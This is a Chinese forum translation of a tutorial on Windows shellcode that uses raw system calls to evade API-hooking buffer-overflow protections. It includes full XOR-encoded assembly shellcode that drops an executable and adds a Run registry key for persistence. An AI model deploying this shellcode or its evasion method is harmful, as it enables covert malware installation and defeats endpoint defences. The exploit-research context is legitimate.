发新话题
打印

[原创]使用windows系统调用编写shellcode

[原创]使用windows系统调用编写shellcode

原文作者:Piotr Bania
原文出处:http://securityfocus.com/infocus/1844/1
翻译作者:无敌最寂寞 [E.S.T]
本文来源:邪恶八进制信息安全团队(www.eviloctal.com

注意:转载请保持文章的完整性和文章作者 网络版权已经出台 个别人士请注意自己的举做

简介

写此文的用意,是想让大家知道在windows系统下我们完全可以写出不依赖于标准API调用的shellcode。当然,对于每一种编写思路,都有它的优缺点。在本文中,我将会带领大家学习一下这种shellcode并介绍一些实际的例子。在阅读本文前,我假设你已经懂得一些IA-32下的汇编知识。
本文涉及的shellcode都在windows XP SP1下测试通过,大家也许注意到了我们的shellcode是要依赖于操作系统及其打的SP补丁的,随着文章的深入我们会进一步讨论的。

背景知识

基于NT内核的windows操作系统(NT/2000/XP/2003或更高版本)支持很多的子系统,每个子系统都包含各自的环境。例如,WIN32子系统就是一例(处理普通windows应用程序),再一个就是支持unix或者OS/2的POSIX子系统。那么这意味着什么呢?意味着NT系统可以运行OS/2(当然是
些能够正确运行的系统附件)并支持其大部分系统特性。那么NT系统是如何来支持这些子系统的呢?微软在每个子系统中封装了统一的一组API。简言之,所有的子系统都依靠一些必须的库来工作。比如win32应用程序调用的是win32子系统API,而这些API实际上调用的是NT API(native API等)。本地API不依赖于任何子系统。

从本地API调用到系统调用

那么我们是否真正能写出一个不需要标准API调用的shellcode呢?对于某些API是可以的,而又有一些是不可以的,有些API并不需要调用本地API就可以完成它们的工作等等。通过阅读下面的代码我们可以得到证实(以下为从KERNEL32.DLL中导出的GetCommandLineA API):
引用:
.text:77E7E358 ; --------------- S U B R O U T I N E -------------------------
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358            mov eax, dword_77ED7614
.text:77E7E35D            retn
.text:77E7E35D GetCommandLineA endp
此API并没有使用任何调用。它做的唯一一件事就是返回了指向命令行参数的一个指针。我们来讨论一个符合我们理论的例子,下面一部分是TerminateProcess API函数的反汇编代码:
引用:
.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near        ; CODE XREF: ExitProcess+12 j
.text:77E616B8                          ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess     =      dword ptr 4
.text:77E616B8 uExitCode    =      dword ptr 8
.text:77E616B8
.text:77E616B8            cmp [esp+hProcess], 0
.text:77E616BD            jz short loc_77E616D7
.text:77E616BF            push [esp+uExitCode]     ; 1st param: Exit code
.text:77E616C3            push [esp+4+hProcess]    ; 2nd param: Handle of process
.text:77E616C7            call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess
就像你看到的那样,TerminateProcess函数只是简单地将参数压栈后接着调用NTDLL.DLL中的NtTerminateProcess函数。NTDLL.DLL中的函数就是本地API。换句话说,以‘NT’开头的函数就是本地API(有的是以‘ZW’开头的,看一下NTDLL的导出函数便知)。接着看一下NTTerminateProcess函数吧:
引用:
.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near    ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448                        ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h              ; 系统调用号: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h           ; EDX = 7FFE0300h
.text:77F5C452 call edx                  ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp
该native API事实上仅仅将系统调用号放入eax,然后调用7FFE0300h处的代码:
引用:
7FFE0300    8BD4   MOV EDX,ESP
7FFE0302    0F34   SYSENTER
7FFE0304    C3    RETN
上面的代码向我们展示了整个调用过程:EDX是用户堆栈指针,EAX是将要执行的系统调用。SYSENTER指令执行了一个到ring 0级系统程序的快速调用,这个系统程序用来完成剩余的工作。

操作系统间的区别

在windows2000(以及所有基于NT内核的系统但不包括XP和更高版本的系统)中,不使用SYSENTER指令。但在windows XP中使用SYSENTER指令替换了“int 2eh”。下面展示了windows 2000中系统调用的实现:
引用:
    MOV  EAX, SyscallNumber          ; 被请求的系统调用号
    LEA  EDX, [ESP+4]              ; EDX = 参数
    INT  2Eh                    ; 调用内核处理程序
    RET  4*NUMBER_OF_PARAMS          ; 返回
我们已经知道了windows xp的处理方法,下面这个就是我在我的shellcode中是如何使用的:
引用:
    push  fn                     ; 将系统调用号压栈
    pop   eax                    ; EAX = 系统调用号
    push  eax                    ; 这没什么影响
    call  b                      ; 下一条指令压入堆栈
b:  add   [esp],(offset r - offset b)    ; 标准化堆栈
    mov   edx, esp                 ; EDX = 当前堆栈
    db    0fh, 34h                 ; SYSENTER 指令
r:  add   esp, (param*4)             ; 标准化堆栈
SYSENTER指令似乎是在Intel Pentium II处理器中第一次引入。SYENTER指令并不被Athlon处理器支持。确定一个特定的处理器是否支持SYSENTER指令,我们可以使用CPUID指令协同SEP标志以及CPU特定的family/model/stepping属性检测。(译者注:CPUID几乎是所有x86 CPU内置的指令,用它可以获得CPU的一些信息。关于此命令的详细用法,大家可以从google中搜索到。此处我们可以使用CPUID指令来检测CPU是否支持SYSENTER指令)。以下是intel处理器如何进行检测的:
引用:
IF (CPUID SEP bit is set)
   THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
     THEN
       SYSENTER/SYSEXIT_NOT_SUPPORTED
     FI;
   ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;
当然,在各个windows操作系统之间这并不是唯一的区别,比如系统调用号在各个windows操作系统版本之间就不同,如下表所示:
引用:
Syscall symbol  NtAddAtom NtAdjustPrivilegesToken NtAlertThread
Windows NT SP 3   0x3        0x5            0x7
SP 4          0x3        0x5            0x7
SP 5          0x3        0x5            0x7
SP 6          0x3        0x5            0x7
Windows 2000 SP 0  0x8        0xa            0xc
SP 1          0x8        0xa            0xc
SP 2          0x8        0xa            0xc
SP 3          0x8        0xa            0xc
SP 4          0x8        0xa            0xc
Windows XP SP 0   0x8        0xb            0xd
SP 1          0x8        0xb            0xd
SP 2          0x8        0xb            0xd
Win2003 Server SP0 0x8        0xc            0xe
SP 1          0x8        0xc            0xe
我们可以在网上搜索到这些系统调用表,也可以在本文后面的参考资料里找到。


使用系统调用编写shellcode的t优点

下面是使用系统调用方法来编写shellcode的优点:

1、使用此方法编写的shellcode不再需要使用API,这是因为我们不再需要定位API的地址了(像内核地址的查找、导入节或者导出节的解析等等,都不需要了)。因此可以利用此方法绕过运行在ring 3上的“防止缓冲区溢出系统”。此类的保护机制通常并不是阻止了缓冲区溢出攻击,而是HOOK了一些经常使用的API然后检测调用该API的地址,以此来阻止shellcode的执行。但是如果是使用此方法编写的shellcode,这类保护就失效了。(译着注:“防止缓冲区溢出系统”,原文是"buffer overflow prevention systems"。就像上文说的那样,并不是真正的阻止了缓冲区溢出。所以我觉得翻译成“缓冲区溢出抑制系统”更为确切些。)

2、由于你是直接向内核提交请求而跳过了win32子系统的所有指令,那么shellcode的执行速度肯定是非常快的。(当然,现在的CPU速度都是那么快,谁又会在乎这点速度呢)

使用系统调用编写shellcode的缺点

下面是使用系统调用编写shellcode的一些缺点:

1、shellcode的体积,这是用这种方法编写shellcode的最大的缺点。因为我们不使用windows子系统封装的一些功能,那么我们就需要自己来编写这些功能代码。因此shellcode体积就会激增。
2、兼容性----正如前面所说的,“int 2eh”和“sysenter”指令在不同系统的版本中的实现是不同的。而且系统调用号在每个版本的系统中也是不同的。

编写系统调用版shellcode

在本文的最后是一个使用此方法写出的shellcode,主要功能是释放一个文件然后写入注册表一个启动键值。在系统重起后,再通过注册表的启动键值执行释放出的文件。也许你们会问我为什么不直接执行这个文件,而是要等到下次重启后再通过注册表启动。通过系统调用来执行win32程序并不是那么容易的,不要认为我们可以调用NtCreateProcess来完成这项工作。让我们来看看CreateProcess API在执行一个程序前需要做哪些事情:

1、在进程中打开.exe映像文件。
2、创建windows进程对象。
3、创建初始化线程(堆栈、上下文以及windows线程对象)。
4、将新进程通知到win32 子系统,以便win32子系统可以创建新的进程和线程。
5、开始执行初始化线程(除非指定了CREATE_SUSPENDED属性)。
6、在新创建的进程和线程的上下文中,完成地址空间的初始化(包括加载所需dll)然后开始执行程序。

因此,使用注册表启动的方法相对来说是比较容易的和快速的。下面的shellcode执行后会产生出一个MessageBox例程(如此要涉及到PE结构,所以shellcode的体积就比较大了)。不管怎么说,这只是个例子演示而已。实际运用中我们可以用本地shell以及下载执行或者命令执行等任

何功能来代替,下面我们来实际看下代码吧:
引用:
The shellcode - Proof Of Concept
comment $
        -----------------------------------------------
        WinNT (XP) Syscall Shellcode - Proof Of Concept
        -----------------------------------------------
        Written by: Piotr Bania
                http://pb.specialised.info
$
include      my_macro.inc
include      io.inc
; --- CONFIGURE HERE -----------------------------------------------------------------
; If you want to change something here, you need to update size entries written above.
FILE_PATH                equ    "\??\C:\b.exe",0        ; 产生的文件的存放路径
SHELLCODE_DROP            equ    "D:\asm\shellcodeXXX.dat"  ; shellcode文件存放路径
                                              ; shellcode
REG_PATH                equ    "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Run",0
; ------------------------------------------------------------------------------------
KEY_ALL_ACCESS            equ    0000f003fh       ; const value
_S_NtCreateFile            equ    000000025h       ; windows xp sp1
_S_NtWriteFile            equ    000000112h       ; 下的系统调用号
_S_NtClose               equ    000000019h
_S_NtCreateSection          equ    000000032h
_S_NtCreateKey            equ    000000029h
_S_NtSetValueKey           equ    0000000f7h
_S_NtTerminateThread        equ    000000102h
_S_NtTerminateProcess        equ    000000101h              
@syscall                macro fn, param         ; windows XP的系统调用
                      local b, r            ; 实现
                      push fn
                      pop  eax
                      push eax ; makes no diff
                      call b
                    b: add [esp],(offset r - offset b)
                      mov edx, esp
                      db 0fh, 34h
                    r: add esp, (param*4)
                      endm
path                   struc                ; 有用的结构
                      p_path dw MAX_PATH dup (?)  ;从C头文件中转换而来的
path                   ends
object_attributes          struc
                      oa_length          dd    ?
                      oa_rootdir          dd    ?
                      oa_objectname        dd    ?
                      oa_attribz          dd    ?
                      oa_secdesc          dd    ?
                      oa_secqos          dd    ?
object_attributes          ends
pio_status_block           struc
                      psb_ntstatus        dd    ?
                      psb_info           dd    ?
pio_status_block           ends
unicode_string struc
                      us_length          dw    ?
                                      dw    ?
                      us_pstring          dd    ?
unicode_string ends
      call crypt_and_dump_sh                     ; xor and dump shellcode
sc_start            proc
      local  u_string             :unicode_string  ; local variables
      local  fpath               :path         ; (stack based)
      local  rpath               :path
      local  obj_a               :object_attributes
      local  iob                :pio_status_block
      local  fHandle              :DWORD
      local  rHandle              :DWORD
      sub    ebp,500                          ; allocate space on stack堆栈中分配空间
      push   FILE_PATH_ULEN                     ; unicode字符串
      pop    [u_string.us_length]                 ; 长度
      push   255                            ; set up unicode字符穿最大
      pop    [u_string.us_length+2]                ; 长度
      lea    edi,[fpath]                       ; EDI = 指向fpath
      push   edi                            ; 路径
      pop    [u_string.us_pstring]                ; set up the unciode entry
      call   a_p1                            ; put file path address
a_s:   db                    FILE_PATH        ; on stack
      FILE_PATH_LEN             equ    $ - offset a_s
      FILE_PATH_ULEN            equ    18h
a_p1:  pop    esi                            ; ESI = ptr to file path
      push   FILE_PATH_LEN                      ; (ascii one)
      pop    ecx                            ; ECX = FILE_PATH_LEN
      xor    eax,eax                          ; EAX = 0
a_lo:  lodsb                                ; begin ascii to unicode
      stosw                                ; conversion do not forget
      loop   a_lo                            ; to do sample align
      lea    edi,[obj_a]                       ; EDI = object attributes st.
      lea    ebx,[u_string]                     ; EBX = unicode string st.
      push   18h                            ; sizeof(object attribs)
      pop    [edi.oa_length]                    ; store
      push   ebx                            ; store the object name
      pop    [edi.oa_objectname]
      push   eax                            ; rootdir = NULL
      pop    [edi.oa_rootdir]
      push   eax                            ; secdesc = NULL
      pop    [edi.oa_secdesc]
      push   eax                            ; secqos  = NULL
      pop    [edi.oa_secqos]
      push   40h                            ; attributes value = 40h
      pop    [edi.oa_attribz]
      lea    ecx,[iob]                        ; ECX = io status block
      push   eax                            ; ealength = null
      push   eax                            ; eabuffer = null
      push   60h                            ; create options
      push   05h                            ; create disposition
      push   eax                            ; share access = NULL
      push   80h                            ; file attributes
      push   eax                            ; allocation size = NULL
      push   ecx                            ; io status block      
      push   edi                            ; object attributes
      push   0C0100080h                        ; desired access
      lea    esi,[fHandle]
      push   esi                            ; (out) file handle
      @syscall _S_NtCreateFile, 11                 ; execute syscall
      lea    ecx,[iob]                        ; ecx = io status block
      push   eax                            ; key = null
      push   eax                            ; byte offset = null
      push   main_exploit_s                     ; length of data
      call   a3                             ; ptr to dropper body
s1:                         include msgbin.inc  ; dopper data
main_exploit_s                  equ    $ - offset s1
a3:    push   ecx                            ; io status block
      push   eax                            ; apc context = null
      push   eax                            ; apc routine = null
      push   eax                            ; event = null
      push   dword ptr [esi]                    ; file handle
      @syscall _S_NtWriteFile, 9                  ; execute the syscall
      mov    edx,edi                          ; edx = object attributes
      lea    edi,[rpath]                       ; edi = registry path
      push   edi                            ; store the pointer
      pop    [u_string.us_pstring]                ; into unicode struct
      push   REG_PATH_ULEN                      ; store new path len
      pop    [u_string.us_length]
      call   a_p2                            ; store the ascii reg path
a_s1:  db                    REG_PATH         ; pointer on stack
      REG_PATH_LEN              equ    $ - offset a_s1
      REG_PATH_ULEN             equ    7eh
a_p2:  pop    esi                            ; esi ptr to ascii reg path
      push   REG_PATH_LEN
      pop    ecx                            ; ECX = REG_PATH_LEN
a_lo1:  lodsb                                ; little ascii 2 unicode
      stosw                                ; conversion
      loop a_lo1
      push   eax                            ; disposition = null
      push   eax                            ; create options = null
      push   eax                            ; class = null
      push   eax                            ; title index = null
      push   edx                            ; object attributes struct
      push   KEY_ALL_ACCESS                     ; desired access
      lea    esi,[rHandle]
      push   esi                            ; (out) handle
      @syscall _S_NtCreateKey,6
      lea    ebx,[fpath]                       ; EBX = file path
      lea    ecx,[fHandle]                      ; ECX = file handle
      push   eax                           
      pop    [ecx]                           ; nullify file handle
      push   FILE_PATH_ULEN - 8                  ; push the unicode len
                                         ; without 8 (no &#39;\??\&#39;)
      push   ebx                            ; file path
      add    [esp],8                          ; without &#39;\??&#39;
      push   REG_SZ                          ; type
      push   eax                            ; title index = NULL
      push   ecx                            ; value name = NULL = default
      push   dword ptr [esi]                    ; key handle
      @syscall _S_NtSetValueKey,6                  ; set they key value
      dec    eax
      push   eax                            ; exit status code
      push   eax                            ; process handle
                                         ; -1 current process
      @syscall _S_NtTerminateProcess,2              ; maybe you want
                                         ; TerminateThread instead?
ssc_size                     equ $ -offset sc_start
sc_start          endp
exit:
      push 0
      @callx ExitProcess
crypt_and_dump_sh:                             ; this gonna&#39; xor
                                         ; the shellcode and
      mov    edi,(offset sc_start - 1)              ; add the decryptor
      mov    ecx,ssc_size                      ; finally shellcode file
                                         ; will be dumped
xor_loop:
      inc    edi
      xor    byte ptr [edi],96h
      loop   xor_loop
      _fcreat SHELLCODE_DROP,ebx                  ; some of my old crazy
      _fwrite ebx,sh_decryptor,sh_dec_size            ; io macros
      _fwrite ebx,sc_start,ssc_size
      _fclose ebx
      jmp exit
sh_decryptor:                                ; that&#39;s how the decryptor
      xor ecx,ecx                            ; looks like
      mov cx,ssc_size
      fldz
sh_add: fnstenv [esp-12]                         ; fnstenv decoder
      pop edi
      add edi,sh_dec_add
sh_dec_loop:
      inc edi
      xor byte ptr [edi],96h
      loop sh_dec_loop
sh_dec_add                    equ ($ - offset sh_add) + 1
sh_dec_size                    equ $ - offset sh_decryptor
end start
写在最后的话

希望大家能喜欢这篇文章,同样的本文的目的只是为了向大家讲述一种方法。任何利用本技术去做违法的事,与作者无关。

参考资料:
"Inside the Native API"
Interactive Win32 syscall page
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

在我国 翻译文章中文版权归翻译者所有 受到法律保护 所以取消[翻译]的属性
今后一切翻译的文章可署上[原创] 但是必须标上英文作者的名字
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

是NtTerminateProcess 不是 NTTerminateProcess
“在windows2000(其它除了XP以及XP更高版本外的基于NT内核的系统)中,不使用SYSENTER指令。但在windows XP中使用SYSENTER指令替换了“int 2eh”。”
看的有点糊涂(现在也没理解)。不过在我来看2k中 WIN32API的用户模式终端转向内核模式都是使用INT 2EH中断处理程序完成的。
"此类的保护机制通常并不是阻止了缓冲区溢出攻击,而是HOOK了一些经常使用的API然后检测调用该API的地址,以此来阻止shellcode的执行"
方法和思路都不错。在XPSP2下应该也没问题的,可以绕过保护的.

TOP

发新话题